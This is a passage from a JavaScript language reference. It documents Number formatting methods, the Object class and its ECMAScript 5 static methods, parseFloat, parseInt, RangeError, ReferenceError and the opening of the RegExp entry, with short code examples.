A string representation of *number*, in exponential notation, with one digit before the decimal place and *digits* digits after the decimal place. The fractional part of the number is rounded, or padded with zeros, as necessary, so that it has the specified length.

Throws

RangeError
: If *digits* is too small or too large. Values between 0 and 20, inclusive, will not cause a RangeError. Implementations are allowed to support larger and smaller values as well.

TypeError
: If this method is invoked on an object that is not a Number.

Example

```
var n = 12345.6789;
n.toExponential(1);     // Returns 1.2e+4
n.toExponential(5);     // Returns 1.23457e+4
n.toExponential(10);    // Returns 1.2345678900e+4
n.toExponential();      // Returns 1.23456789e+4
```

See Also

`Number.toFixed()`, `Number.toLocaleString()`, `Number.toPrecision()`, `Number.toString()`

Number.toFixed()

format a number using fixed-point notation

Synopsis

number`.toFixed(`*digits*`)`

Arguments

digits
: The number of digits to appear after the decimal point; this may be a value between 0 and 20, inclusive, and implementations may optionally support a larger range of values. If this argument is omitted, it is treated as 0.

Returns

A string representation of *number* that does not use exponential notation and has exactly *digits* digits after the decimal place. The number is rounded if necessary, and the fractional part is padded with zeros if necessary so that it has the specified length. If *number* is greater than 1e+21, this method simply calls `Number.toString()` and returns a string in exponential notation.

Throws

RangeError
: If *digits* is too small or too large. Values between 0 and 20, inclusive, will not cause a RangeError. Implementations are allowed to support larger and smaller values as well.

TypeError
If this method is invoked on an object that is not a Number.

Example

```
var n = 12345.6789;
n.toFixed();              // Returns 12346: note rounding, no fractional part
n.toFixed(1);             // Returns 12345.7: note rounding
n.toFixed(6);             // Returns 12345.678900: note added zeros
(1.23e+20).toFixed(2);    // Returns 123000000000000000000.00
(1.23e-10).toFixed(2)     // Returns 0.00
```

See Also

`Number.toExponential()`, `Number.toLocaleString()`, `Number.toPrecision()`, `Number.toString()`

Number.toLocaleString()

convert a number to a locally formatted string

Synopsis

number`.toLocaleString()`

Returns

An implementation-dependent string representation of the number, formatted according to local conventions, which may affect such things as the punctuation characters used for the decimal point and the thousands separator.

Throws

TypeError
If this method is invoked on an object that is not a Number.

See Also

`Number.toExponential()`, `Number.toFixed()`, `Number.toPrecision()`, `Number.toString()`

Number.toPrecision()

format the significant digits of a number

Synopsis

number`.toPrecision(`*precision*`)`

Arguments

precision
The number of significant digits to appear in the returned string. This may be a value between 1 and 21, inclusive. Implementations are allowed to optionally support larger

and smaller values of *precision*. If this argument is omitted, the `toString()` method is used instead to convert the number to a base-10 value.

Returns

A string representation of *number* that contains *precision* significant digits. If *precision* is large enough to include all the digits of the integer part of *number*, the returned string uses fixed-point notation. Otherwise, exponential notation is used with one digit before the decimal place and *precision*–1 digits after the decimal place. The number is rounded or padded with zeros as necessary.

Throws

RangeError
: If *digits* is too small or too large. Values between 1 and 21, inclusive, will not cause a RangeError. Implementations are allowed to support larger and smaller values as well.

TypeError
: If this method is invoked on an object that is not a Number.

Example

```
var n = 12345.6789;
n.toPrecision(1);   // Returns 1e+4
n.toPrecision(3);   // Returns 1.23e+4
n.toPrecision(5);   // Returns 12346: note rounding
n.toPrecision(10);  // Returns 12345.67890: note added zero
```

See Also

`Number.toExponential()`, `Number.toFixed()`, `Number.toLocaleString()`, `Number.toString()`

Number.toString()

convert a number to a string — Overrides Object.toString()

Synopsis

number`.toString(`*radix*`)`

Arguments

radix
: An optional argument that specifies the radix, or base, between 2 and 36, in which the number should be represented. If omitted, base 10 is used. Note, however, that the ECMAScript specification allows an implementation to return any value if this argument is specified as any value other than 10.

Returns

A string representation of the number, in the specified base.

Throws

TypeError
: If this method is invoked on an object that is not a Number.

Description

The `toString()` method of the Number object converts a number to a string. When the *`radix`* argument is omitted or is specified as 10, the number is converted to a base-10 string. Although the ECMAScript specification does not require implementations to honor any other values for radix, all implementations in common use accept values between 2 and 36.

See Also

`Number.toExponential()`, `Number.toFixed()`, `Number.toLocaleString()`, `Number.toPrecision()`

Number.valueOf()

return the primitive number value — Overrides Object.valueOf()

Synopsis

```
number.valueOf()
```

Returns

The primitive number value of this Number object. It is rarely necessary to call this method explicitly.

Throws

TypeError
: If this method is invoked on an object that is not a Number.

See Also

`Object.valueOf()`

Object

a superclass that contains features of all JavaScript objects

Constructor

```
new Object()
new Object(value)
```

Arguments

`value`
: This optional argument specifies a primitive JavaScript value—a number, boolean, or string—that is to be converted to a Number, Boolean, or String object.

Returns

If no *value* argument is passed, this constructor returns a newly created Object instance. If a primitive *value* argument is specified, the constructor creates and returns a Number, Boolean, or String object wrapper for the primitive value. When the `Object()` constructor is called as a function, without the `new` operator, it behaves just as it does when used with the `new` operator.

Properties

`constructor`
: A reference to the JavaScript function that was the constructor for the object.

Methods

`hasOwnProperty()`
: Checks whether an object has a locally defined (noninherited) property with a specified name.

`isPrototypeOf()`
: Checks whether this object is the prototype object of a specified object.

`propertyIsEnumerable()`
: Checks whether a named property exists and would be enumerated by a `for/in` loop.

`toLocaleString()`
: Returns a localized string representation of the object. The default implementation of this method simply calls `toString()`, but subclasses may override it to provide localization.

`toString()`
: Returns a string representation of the object. The implementation of this method provided by the Object class is quite generic and does not provide much useful information. Subclasses of Object typically override this method by defining their own `toString()` method, which produces more useful output.

`valueOf()`
: Returns the primitive value of the object, if any. For objects of type Object, this method simply returns the object itself. Subclasses of Object, such as Number and Boolean, override this method to return the primitive value associated with the object.

Static Methods

In ECMAScript 5, the Object constructor serves as a namespace for the following global functions:

`Object.create()`
: Create a new object with specified prototype and properties.

`Object.defineProperties()`
: Create or configure one or more properties of a specified object.

`Object.defineProperty()`
: Create or configure a property of a specified object.

`Object.freeze()`
: Make the specified object immutable.

`Object.getOwnPropertyDescriptor()`
: Query the attributes of the specified property of the specified object.

`Object.getOwnPropertyNames()`
: Return an array of the names of all non-inherited properties of the specified object, including non-enumerable properties.

`Object.getPrototypeOf()`
: Return the prototype of the specified object.

`Object.isExtensible()`
: Determine whether new properties can be added to the specified object.

`Object.isFrozen()`
: Determine whether the specified object is frozen.

`Object.isSealed()`
: Determine whether the specified object is sealed.

`Object.keys()`
: Return an array of the names of the non-inherited enumerable properties of the specified object.

`Object.preventExtensions()`
: Prevent the future addition of properties to the specified object.

`Object.seal()`
: Prevent the addition of new properties and the deletion of existing properties for the specified object.

Description

The Object class is a built-in datatype of the JavaScript language. It serves as the superclass for all other JavaScript objects; therefore, methods and behavior of the Object class are inherited by all other objects. The basic behavior of objects in JavaScript is explained in Chapter 6.

In addition to the `Object()` constructor shown above, objects can also be created and initialized using the Object literal syntax described in §6.1.

See Also

`Array`, `Boolean`, `Function`, `Function.prototype`, `Number`, `String`; Chapter 6

Object.constructor

an object's constructor function

Synopsis

object`.constructor`

Description

The `constructor` property of any object is a reference to the function that was used as the constructor for that object. For example, if you create an array `a` with the `Array()` constructor, `a.constructor` is an Array:

```
a = new Array(1,2,3);   // Create an object
a.constructor == Array  // Evaluates to true
```

One common use of the `constructor` property is to determine the type of unknown objects. Given an unknown value, you can use the `typeof` operator to determine whether it is a primitive value or an object. If it is an object, you can use the `constructor` property to determine what type of object it is. For example, the following function determines whether a given value is an array:

```
function isArray(x) {
    return ((typeof x == "object") && (x.constructor == Array));
}
```

Note, however, that while this technique works for the objects built into core JavaScript, it is not guaranteed to work with host objects such as the Window object of client-side JavaScript. The default implementation of the `Object.toString()` method provides another way to determine the type of an unknown object.

See Also

`Object.toString()`

Object.create() ECMAScript 5

create an object with specified prototype and properties

Synopsis

```
Object.create(proto)
Object.create(proto, descriptors)
```

Arguments

proto
: The prototype of the newly-created object, or `null`.

descriptors
: An optional object that maps property names to property descriptors.

Returns

A newly created object that inherits from *proto* and has the properties described by *descriptors*.

Throws

TypeError
: If `proto` is not an object or `null`, or if *descriptors* is specified and causes `Object.defineProperties()` to throw a TypeError.

Description

`Object.create()` creates and returns a new object with *proto* as its prototype. This means that the new object inherits properties from *proto*.

If the optional *descriptors* argument is specified, `Object.create()` adds properties to the new object as if by calling `Object.defineProperties()`. That is the two-argument invocation `Object.create(p,d)` is equivalent to:

```
Object.defineProperties(Object.create(p), d);
```

See `Object.defineProperties()` for more on the *descriptors* argument, and see `Object.getOwnPropertyDescriptor()` for an explanation of property descriptor objects.

Note that this is not a method to be invoked on an object: it is a global function and you must pass an object to it.

Example

```
// Create an object that has own properties x and y and inherits property z
var p = Object.create({z:0}, {
    x: { value: 1, writable: false, enumerable:true, configurable: true},
    y: { value: 2, writable: false, enumerable:true, configurable: true},
});
```

See Also

`Object.defineProperty()`, `Object.defineProperties()`, `Object.getOwnPropertyDescriptor()`, §6.1, §6.7

Object.defineProperties() ECMAScript 5

create or configure multiple object properties

Synopsis

```
Object.defineProperties(o, descriptors)
```

Arguments

o
: The object on which properties are to be created or configured.

descriptors
: An object that maps property names to property descriptors.

Returns

The object *o*.

Throws

TypeError
: If `o` is not an object, or if any of the specified properties cannot be created or configured. This function is not atomic: it may create or configure certain properties and then throw

an error, before even attempting to create or configure other properties. See §6.7 for a list of property configuration errors that can cause a TypeError.

Description

`Object.defineProperties()` creates or configures on the object *o* the properties named and described by *descriptors*. The names of the properties in *descriptors* are the names of the properties to be created or configured on *o*, and the values of those properties are the property descriptor objects that specify the attributes of the properties to be created or configured.

`Object.defineProperties()` works much like `Object.defineProperty()` does; see that function for more details. See `Object.getOwnPropertyDescriptor()` for more on property descriptor objects.

Example

```
// Add read-only properties x and y to a newly-created object
var p = Object.defineProperties({}, {
    x: { value: 0, writable: false, enumerable:true, configurable: true},
    y: { value: 1, writable: false, enumerable:true, configurable: true},
});
```

See Also

`Object.create()`, `Object.defineProperty()`, `Object.getOwnPropertyDescriptor()`, §6.7

Object.defineProperty() ECMAScript 5

create or configure an object property

Synopsis

`Object.defineProperty(o, name, desc)`

Arguments

o
: The object on which a property is to be created or configured.

name
: The name of the property to be created or configured.

desc
: A property descriptor object that describes the new property or describes the changes to be made to an existing property.

Returns

The object *o*.

Throws

TypeError
: If `o` is not an object, or if the property cannot be created (because *o* is not extensible) or configured (because it already exists and is non-configurable, for example). See §6.7 for a list of property configuration errors that can cause this function to throw a TypeError.

Description

`Object.defineProperty()` creates or configures the property named *name* of the object *o*, using the property descriptor *desc*. See `Object.getOwnPropertyDescriptor()` for an explanation of property descriptor objects.

If *o* does not already have a property named *name*, then this function simply creates a new property with the attributes and value specified in *desc*. If any properties are missing from *desc*, then the corresponding attributes are set to `false` or `null`.

If *name* is the name of an existing property of *o*, then `Object.defineProperty()` configures that property by altering its value or attributes. In this case, *desc* only needs to contain the attributes to be changed: attributes not mentioned in *desc* will not be altered.

Note that this is not a method to be invoked on an object: it is a global function and you must pass an object to it.

Example

```
function constant(o, n, v) { // Define a constant o.n with value v
    Object.defineProperty(o, n, { value: v, writable: false
                                  enumerable: true, configurable:false});
}
```

See Also

`Object.create()`, `Object.defineProperties()`, `Object.getOwnPropertyDescriptor()`, §6.7

Object.freeze() ECMAScript 5

make an object immutable

Synopsis

`Object.freeze(o)`

Arguments

o
: The object to be frozen

Returns

The now-frozen argument object *o*.

Description

`Object.freeze()` makes *o* non-extensible (see `Object.preventExtensions()`) and makes all of its own properties non-configurable, like `Object.seal()` does. In addition, however, it also makes all non-inherited data properties read-only. This means that new properties cannot be added to *o* and that existing properties cannot be set or deleted. Freezing an object is a permanent change: once frozen and object cannot be unfrozen.

Note that `Object.freeze()` only sets the writable attribute of data properties. Properties that have a setter function defined are not affected. Also note that `Object.freeze()` does not affect inherited properties.

Note that this is not a method to be invoked on an object: it is a global function and you must pass an object to it.

See Also

`Object.defineProperty()`, `Object.isFrozen()`, `Object.preventExtensions()`, `Object.seal()`, §6.8.3

Object.getOwnPropertyDescriptor() ECMAScript 5

query property attributes

Synopsis

```
Object.getOwnPropertyDescriptor(o, name)
```

Arguments

o
: The object that is to have its property attributes queried.

name
: The name of the property (or index of the array element) to query.

Returns

A property descriptor object for the specified property of the specified object, or `undefined` if no such property exists.

Description

`Object.getOwnPropertyDescriptor()` returns a property descriptor for the specified property of the specified object. A property descriptor is an object that describes the attributes and value of a property. See the sub-section below for complete details. Note that this is not a method to be invoked on an object: it is a global function and you must pass an object to it.

Property Descriptors

A property descriptor is an ordinary JavaScript object that describes the attributes (and sometimes the value) of a property. There are two kinds of JavaScript properties. A *data property* has a value and three attributes: enumerable, writable, and configurable. An *accessor property* has a getter and/or a setter method as well as enumerable and configurable attributes.

The descriptor for a data property looks like this:

```
{
    value:        /* any JavaScript value */,
    writable:     /* true or false */,
    enumerable:   /* true or false */,
    configurable: /* true or false */
}
```

The descriptor for an accessor property looks like this:

```
{
    get:          /* function or undefined: replaces the property value */,
    set:          /* function or undefined: replaces the writable attribute */,
    enumerable:   /* true or false */,
    configurable: /* true or false */
}
```

See Also

`Object.defineProperty()`, §6.7

Object.getOwnPropertyNames() ECMAScript 5

return the names of non-inherited properties

Synopsis

`Object.getOwnPropertyNames(o)`

Arguments

o

An object

Returns

An array that contains the names of all non-inherited properties of *o*, including non-enumerable properties.

Description

`Object.getOwnPropertyNames()` returns an array that contains the names of all non-inherited properties of *o*, including non-enumerable properties. See `Object.keys()` for a function that returns only the names of enumerable properties.

Note that this is not a method to be invoked on an object: it is a global function and you must pass an object to it.

Example

```
Object.getOwnPropertyNames([])   // => ["length"]: "length" is non-enumerable
```

See Also

`Object.keys()`, §6.5

Object.getPrototypeOf() ECMAScript 5

return the prototype of an object

Synopsis

```
Object.getPrototypeOf(o)
```

Arguments

o

An object.

Returns

The prototype object of *o*.

Description

`Object.getPrototypeOf()` returns the prototype of its argument. Note that this is a global function, and you must pass an object to it. It is not a method that is invoked on an object.

Example

```
var p = {};                 // An ordinary object
Object.getPrototypeOf(p)    // => Object.prototype
var o = Object.create(p)    // An object that inherits from p
Object.getPrototypeOf(o)    // => p
```

See Also

`Object.create()`; Chapter 6

Object.hasOwnProperty()

check whether a property is inherited

Synopsis

```
object.hasOwnProperty(propname)
```

Arguments

propname

A string that contains the name of a property of *object*.

Returns

`true` if *object* has a noninherited property with the name specified by *propname*; `false` if *object* does not have a property with the specified name or if it inherits that property from its prototype object.

Description

As explained in Chapter 9, JavaScript objects may have properties of their own, and they may also inherit properties from their prototype object. The `hasOwnProperty()` method provides a way to distinguish between inherited properties and noninherited local properties.

Example

```
var o = new Object();            // Create an object
o.x = 3.14;                      // Define a noninherited local property
o.hasOwnProperty("x");           // Returns true: x is a local property of o
o.hasOwnProperty("y");           // Returns false: o doesn't have a property y
o.hasOwnProperty("toString");    // Returns false: toString property is inherited
```

See Also

`Function.prototype`, `Object.propertyIsEnumerable()`; Chapter 9

Object.isExtensible() ECMAScript 5

can new properties be added to an object?

Synopsis

`Object.isExtensible(`*o*`)`

Arguments

o

The object to be checked for extensibility

Returns

`true` if the object can be extended with new properties, or `false` if it cannot.

Description

An object is extensible (or extendable) if it can have new properties added to it. All objects are extendable when they are created and remain that way unless they are passed to `Object.preventExtensions()`, `Object.seal()`, or `Object.freeze()`.

Note that this is not a method to be invoked on an object: it is a global function and you must pass an object to it.

Example

```
var o = {};                     // Start with a newly-created object
Object.isExtensible(o)          // => true: it is extendable
Object.preventExtensions(o);    // Make it non-extendable
Object.isExtensible(o)          // => false: now it is not extendable
```

See Also

`Object.isFrozen()`, `Object.isSealed()`, `Object.preventExtensions()`, §6.8.3

Object.isFrozen() ECMAScript 5

is an object immutable?

Synopsis

```
Object.isFrozen(o)
```

Arguments

o

The object to be checked

Returns

`true` if *o* is frozen and immutable, or `false` if it is not.

Description

An object is frozen if all of its non-inherited properties (except those with setter methods) are read-only, and if it is sealed. An object is sealed if no new (non-inherited) properties can be added to it, no existing (non-inherited) properties can be deleted from it. `Object.isFrozen()` tests whether its argument is frozen or not. Once frozen, an object can never be unfrozen.

The usual way to freeze an object is by passing it to `Object.freeze()`. It is also possible to freeze an object by passing it to `Object.preventExtensions()` and then using `Object.defineProperty()` to make all of its properties read-only and nondeletable.

Note that this is not a method to be invoked on an object: it is a global function and you must pass an object to it.

See Also

`Object.defineProperty()`, `Object.freeze()`, `Object.isExtensible()`, `Object.isSealed()`, `Object.preventExtensions()`, `Object.seal()`, §6.8.3

Object.isPrototypeOf()

is one object the prototype of another?

Synopsis

```
object.isPrototypeOf(o)
```

Arguments

o

Any object.

Returns

`true` if *object* is the prototype of *o*; `false` if *o* is not an object or if *object* is not the prototype of *o*.

Description

As explained in Chapter 9, JavaScript objects inherit properties from their prototype object. The prototype of an object is referred to by the `prototype` property of the constructor function that creates and initializes the object. The `isPrototypeOf()` method provides a way to determine if one object is the prototype of another. This technique can be used to determine the class of an object.

Example

```
var o = new Object();                           // Create an object
Object.prototype.isPrototypeOf(o)               // true: o is an object
Function.prototype.isPrototypeOf(o.toString);   // true: toString is a function
Array.prototype.isPrototypeOf([1,2,3]);         // true: [1,2,3] is an array
// Here is a way to perform a similar test
(o.constructor == Object);  // true: o was created with Object() constructor
(o.toString.constructor == Function);           // true: o.toString is a function
// Prototype objects themselves have prototypes. The following call
// returns true, showing that function objects inherit properties
// from Function.prototype and also from Object.prototype.
Object.prototype.isPrototypeOf(Function.prototype);
```

See Also

`Function.prototype`, `Object.constructor`; Chapter 9

Object.isSealed() ECMAScript 5

can properties be added to or deleted from an object?

Synopsis

`Object.isSealed(`*o*`)`

Arguments

o

The object to be checked

Returns

`true` if *o* is sealed, or `false` if it is not.

Description

An object is sealed if no new (non-inherited) properties can be added to it and no existing (non-inherited) properties can be deleted from it. `Object.isSealed()` tests whether its argument is sealed or not. Once sealed, an object can never be unsealed. The usual way to seal an object is by passing it to `Object.seal()` or `Object.freeze()`. It is also possible to seal an object by passing it to `Object.preventExtensions()` and then using `Object.defineProperty()` to make all of its properties non-deleteable.

Note that this is not a method to be invoked on an object: it is a global function and you must pass an object to it.

Download from Wow! eBook <www.wowebook.com>

See Also

`Object.defineProperty()`, `Object.freeze()`, `Object.isExtensible()`, `Object.isFrozen()`, `Object.preventExtensions()`, `Object.seal()`, §6.8.3

Object.keys() ECMAScript 5

return own enumerable property names

Synopsis

```
Object.keys(o)
```

Arguments

o

An object

Returns

An array that contains the names of all enumerable own (non-inherited) properties of *o*.

Description

`Object.keys()` returns an array of property names for the object *o*. The array only includes the names of properties that are enumerable and are defined directly on *o*: inherited properties are not included. (See `Object.getOwnPropertyNames()` for a way to obtain the names of non-enumerable properties.) Property names appear in the returned array in the same order they would be enumerated by a `for/in` loop.

Note that this is not a method to be invoked on an object: it is a global function and you must pass an object to it.

Example

```
Object.keys({x:1, y:2})    // => ["x", "y"]
```

See Also

`Object.getOwnPropertyNames()`, §5.5.4, §6.5

Object.preventExtensions() ECMAScript 5

don't allow new properties on an object

Synopsis

```
Object.preventExtensions(o)
```

Arguments

o

The object that is to have its extensible attribute set

Returns

The argument object *o*.

Description

`Object.preventExtensions()` sets the *extensible* attribute of *o* to false so that no new properties can be added to it. This is a permanent change: once an object has been made non-extensible, it cannot be make extensible again.

Note that `Object.preventExtensions()` does not affect the prototype chain, and a nonextensible object can still gain new inherited properties.

Note that this is not a method to be invoked on an object: it is a global function and you must pass an object to it.

See Also

`Object.freeze()`, `Object.isExtensible()`, `Object.seal()`, §6.8.3

Object.propertyIsEnumerable()

will property be seen by a for/in loop?

Synopsis

object`.propertyIsEnumerable(`*propname*`)`

Arguments

propname
: A string that contains the name of a property of *object*.

Returns

`true` if *object* has a noninherited property with the name specified by *propname* and if that property is *enumerable*, which means that it would be enumerated by a `for/in` loop on *object*.

Description

The `for/in` statement loops through the enumerable properties of an object. Not all properties of an object are enumerable, however: properties added to an object by JavaScript code are enumerable, but the predefined properties (such as methods) of built-in objects are not usually enumerable. The `propertyIsEnumerable()` method provides a way to distinguish between enumerable and nonenumerable properties. Note, however, that the ECMAScript specification states that `propertyIsEnumerable()` does not examine the prototype chain, which means it works only for local properties of an object and does not provide any way to test the enumerability of inherited properties.

Example

```
var o = new Object();               // Create an object
o.x = 3.14;                         // Define a property
o.propertyIsEnumerable("x");        // true: property x is local and enumerable
o.propertyIsEnumerable("y");        // false: o doesn't have a property y
o.propertyIsEnumerable("toString"); // false: toString property is inherited
Object.prototype.propertyIsEnumerable("toString");  // false: nonenumerable
```

See Also

`Function.prototype`, `Object.hasOwnProperty()`; Chapter 6

Object.seal()

ECMAScript 5

prevent the addition or deletion of properties

Synopsis

```
Object.seal(o)
```

Arguments

o

The object to be sealed

Returns

The now-sealed argument object *o*.

Description

`Object.seal()` makes *o* non-extensible (see `Object.preventExtensions()`) and makes all of its own properties non-configurable. This has the effect of preventing the addition of new properties and preventing the deletion of existing properties. Sealing an object is permanent: once sealed, an object cannot be unsealed.

Note that `Object.seal()` does not make properties read-only; see `Object.freeze()` for that. Also note that `Object.seal()` does not affect inherited properties. If a sealed object has a non-sealed object in its prototype chain, then inherited properties may be added or removed.

Note that this is not a method to be invoked on an object: it is a global function and you must pass an object to it.

See Also

`Object.defineProperty()`, `Object.freeze()`, `Object.isSealed()`, `Object.preventExtensions()`, §6.8.3

Object.toLocaleString()

return an object's localized string representation

Synopsis

```
object.toString()
```

Returns

A string representing the object.

Description

This method is intended to return a string representation of the object, localized as appropriate for the current locale. The default `toLocaleString()` method provided by the Object class simply calls the `toString()` method and returns the nonlocalized string that it returns. Note, however, that other classes, including Array, Date, and Number, define their own versions of this method to perform localized string conversions. When defining your own classes, you may want to override this method as well.

See Also

`Array.toLocaleString()`, `Date.toLocaleString()`, `Number.toLocaleString()`, `Object.toString()`

Object.toString()

define an object's string representation

Synopsis

```
object.toString()
```

Returns

A string representing the object.

Description

The `toString()` method is not one you often call explicitly in your JavaScript programs. Instead, you define this method in your objects, and the system calls it whenever it needs to convert your object to a string.

The JavaScript system invokes the `toString()` method to convert an object to a string whenever the object is used in a string context. For example, an object is converted to a string when it is passed to a function that expects a string argument:

```
alert(my_object);
```

Similarly, objects are converted to strings when they are concatenated to strings with the `+` operator:

```
var msg = 'My object is: ' + my_object;
```

The `toString()` method is invoked without arguments and should return a string. To be useful, the string you return should be based, in some way, on the value of the object for which the method was invoked.

When you define a custom class in JavaScript, it is good practice to define a `toString()` method for the class. If you do not, the object inherits the default `toString()` method from the Object class. This default method returns a string of the form:

```
[objectclass]
```

where *`class`* is the class of the object: a value such as "Object", "String", "Number", "Function", "Window", "Document", and so on. This behavior of the default `toString()` method is occasionally useful to determine the type or class of an unknown object. Because most

objects have a custom version of `toString()`, however, you must explicitly invoke the `Object.toString()` method on an object `o` with code like this:

```
Object.prototype.toString.apply(o);
```

Note that this technique for identifying unknown objects works only for built-in objects. If you define your own object class, it will have a *`class`* of "Object". In this case, you can use the `Object.constructor` property to obtain more information about the object.

The `toString()` method can be quite useful when you are debugging JavaScript programs; it allows you to print objects and see their value. For this reason alone, it is a good idea to define a `toString()` method for every object class you create.

Although the `toString()` method is usually invoked automatically by the system, there are times when you may invoke it yourself. For example, you might want to do an explicit conversion of an object to a string in a situation where JavaScript does not do it automatically for you:

```
y = Math.sqrt(x);        // Compute a number
ystr = y.toString();        // Convert it to a string
```

Note in this example that numbers have a built-in `toString()` method you can use to force a conversion.

In other circumstances, you can choose to use a `toString()` call even in a context where JavaScript does the conversion automatically. Using `toString()` explicitly can help to make your code clearer:

```
alert(my_obj.toString());
```

See Also

`Object.constructor`, `Object.toLocaleString()`, `Object.valueOf()`

Object.valueOf()

the primitive value of the specified object

Synopsis

`object``.valueOf()`

Returns

The primitive value associated with the *`object`*, if any. If there is no value associated with *`object`*, returns the object itself.

Description

The `valueOf()` method of an object returns the primitive value associated with that object, if there is one. For objects of type Object, there is no primitive value, and this method simply returns the object itself.

For objects of type Number, however, `valueOf()` returns the primitive numeric value represented by the object. Similarly, it returns the primitive boolean value associated with a Boolean object and the string associated with a String object.

It is rarely necessary to invoke the `valueOf()` method yourself. JavaScript does this automatically whenever an object is used where a primitive value is expected. In fact, because of this automatic invocation of the `valueOf()` method, it is difficult to even distinguish between primitive values and their corresponding objects. The `typeof` operator shows you the difference between strings and String objects for example, but in practical terms, you can use them equivalently in your JavaScript code.

The `valueOf()` methods of the Number, Boolean, and String objects convert these wrapper objects to the primitive values they represent. The `Object()` constructor performs the opposite operation when invoked with a number, boolean, or string argument: it wraps the primitive value in an appropriate object wrapper. JavaScript performs this primitive-to-object conversion for you in almost all circumstances, so it is rarely necessary to invoke the `Object()` constructor in this way.

In some circumstances, you may want to define a custom `valueOf()` method for your own objects. For example, you might define a JavaScript object type to represent complex numbers (a real number plus an imaginary number). As part of this object type, you would probably define methods for performing complex addition, multiplication, and so on (see Example 9-3). But you might also want to treat your complex numbers like ordinary real numbers by discarding the imaginary part. To achieve this, you might do something like the following:

```
Complex.prototype.valueOf = new Function("return this.real");
```

With this `valueOf()` method defined for your Complex object type, you can, for example, pass one of your complex number objects to `Math.sqrt()`, which computes the square root of the real portion of the complex number.

See Also

`Object.toString()`

parseFloat()

convert a string to a number

Synopsis

```
parseFloat(s)
```

Arguments

s

The string to be parsed and converted to a number.

Returns

The parsed number, or `NaN` if *s* does not begin with a valid number. In JavaScript 1.0, `parseFloat()` returns 0 instead of `NaN` when *s* cannot be parsed as a number.

Description

`parseFloat()` parses and returns the first number that occurs in *s*. Parsing stops, and the value is returned, when `parseFloat()` encounters a character in *s* that is not a valid part of the

number. If *s* does not begin with a number that `parseFloat()` can parse, the function returns the not-a-number value `NaN`. Test for this return value with the `isNaN()` function. If you want to parse only the integer portion of a number, use `parseInt()` instead of `parseFloat()`.

See Also

`isNaN()`, `parseInt()`

parseInt()

convert a string to an integer

Synopsis

```
parseInt(s)
parseInt(s, radix)
```

Arguments

s

The string to be parsed.

radix

An optional integer argument that represents the radix (i.e., base) of the number to be parsed. If this argument is omitted or is 0, the number is parsed in base 10—or in base 16 if it begins with 0x or 0X. If this argument is less than 2 or greater than 36, `parseInt()` returns `NaN`.

Returns

The parsed number, or `NaN` if *s* does not begin with a valid integer. In JavaScript 1.0, `parseInt()` returns 0 instead of `NaN` when it cannot parse *s*.

Description

`parseInt()` parses and returns the first number (with an optional leading minus sign) that occurs in *s*. Parsing stops, and the value is returned, when `parseInt()` encounters a character in *s* that is not a valid digit for the specified *radix*. If *s* does not begin with a number that `parseInt()` can parse, the function returns the not-a-number value `NaN`. Use the `isNaN()` function to test for this return value.

The *radix* argument specifies the base of the number to be parsed. Specifying 10 makes `parseInt()` parse a decimal number. The value 8 specifies that an octal number (using digits 0 through 7) is to be parsed. The value 16 specifies a hexadecimal value, using digits 0 through 9 and letters A through F. *radix* can be any value between 2 and 36.

If *radix* is 0 or is not specified, `parseInt()` tries to determine the radix of the number from *s*. If *s* begins (after an optional minus sign) with `0x`, `parseInt()` parses the remainder of *s* as a hexadecimal number. Otherwise `parseInt()` parses it as a decimal number.

Example

```
parseInt("19", 10);  // Returns 19  (10 + 9)
parseInt("11", 2);   // Returns 3   (2 + 1)
```

```
parseInt("17", 8);   // Returns 15  (8 + 7)
parseInt("1f", 16);  // Returns 31  (16 + 15)
parseInt("10");      // Returns 10
parseInt("0x10");    // Returns 16
```

See Also

isNaN(), parseFloat()

RangeError

thrown when a number is out of its legal range — Object → Error → RangeError

Constructor

```
new RangeError()
new RangeError(message)
```

Arguments

message
: An optional error message that provides details about the exception. If specified, this argument is used as the value for the `message` property of the RangeError object.

Returns

A newly constructed RangeError object. If the *message* argument is specified, the Error object uses it as the value of its `message` property; otherwise, it uses an implementation-defined default string as the value of that property. When the `RangeError()` constructor is called as a function, without the `new` operator, it behaves just as it would when called with the `new` operator.

Properties

`message`
: An error message that provides details about the exception. This property holds the string passed to the constructor or an implementation-defined default string. See `Error.message` for details.

`name`
: A string that specifies the type of the exception. All RangeError objects inherit the value "RangeError" for this property.

Description

An instance of the RangeError class is thrown when a numeric value is not in its legal range. For example, setting the length of an array to a negative number causes a RangeError to be thrown. See `Error` for details about throwing and catching exceptions.

See Also

`Error`, `Error.message`, `Error.name`

ReferenceError

thrown when reading a variable that does not exist — Object → Error → ReferenceError

Constructor

```
new ReferenceError()
new ReferenceError(message)
```

Arguments

message
: An optional error message that provides details about the exception. If specified, this argument is used as the value for the `message` property of the ReferenceError object.

Returns

A newly constructed ReferenceError object. If the *message* argument is specified, the Error object uses it as the value of its `message` property; otherwise, it uses an implementation-defined default string as the value of that property. When the `ReferenceError()` constructor is called as a function, without the `new` operator, it behaves just as it would with the `new` operator.

Properties

`message`
: An error message that provides details about the exception. This property holds the string passed to the constructor or an implementation-defined default string. See `Error.message` for details.

`name`
: A string that specifies the type of the exception. All ReferenceError objects inherit the value "ReferenceError" for this property.

Description

An instance of the ReferenceError class is thrown when you attempt to read the value of a variable that does not exist. See `Error` for details about throwing and catching exceptions.

See Also

`Error`, `Error.message`, `Error.name`

RegExp

regular expressions for pattern matching — Object → RegExp

Literal Syntax

```
/pattern/attributes
```

Constructor

```
new RegExp(pattern, attributes)
```

Arguments

pattern
: A string that specifies the pattern of the regular expression or another regular expression.

attributes
: An optional string containing any of the "g", "i", and "m" attributes that specify global, case-insensitive, and multiline matches, respectively. The "m" attribute is not available prior to ECMAScript standardization. If the *pattern* argument is a regular expression instead of a string, this argument must be omitted.

Returns

A new `RegExp` object, with the specified pattern and flags. If the *pattern* argument is a regular expression rather than a string, the `RegExp()` constructor creates a new RegExp object using the same pattern and flags as the specified RegExp. If `RegExp()` is called as a function without the `new` operator, it behaves just as it would with the `new` operator, except when *pattern* is a regular expression; in that case, it simply returns *pattern* instead of creating a new RegExp object.

Throws

`SyntaxError`
: If *pattern* is not a legal regular expression, or if *attributes* contains characters other than "g", "i", and "m".

`TypeError`
: If *pattern* is a RegExp object, and the *attributes* argument is not omitted.

Instance Properties

`global`
: Whether the RegExp has the "g" attribute.

`ignoreCase`
: Whether the RegExp has the "i" attribute.

`lastIndex`
: The character position of the last match; used for finding multiple matches in a string.

`multiline`
: Whether the RegExp has the "m" attribute.

`source`
: The source text of the regular expression.

Methods

`exec()`
: Performs powerful, general-purpose pattern matching.

`test()`
: Tests whether a string contains a pattern.

Description

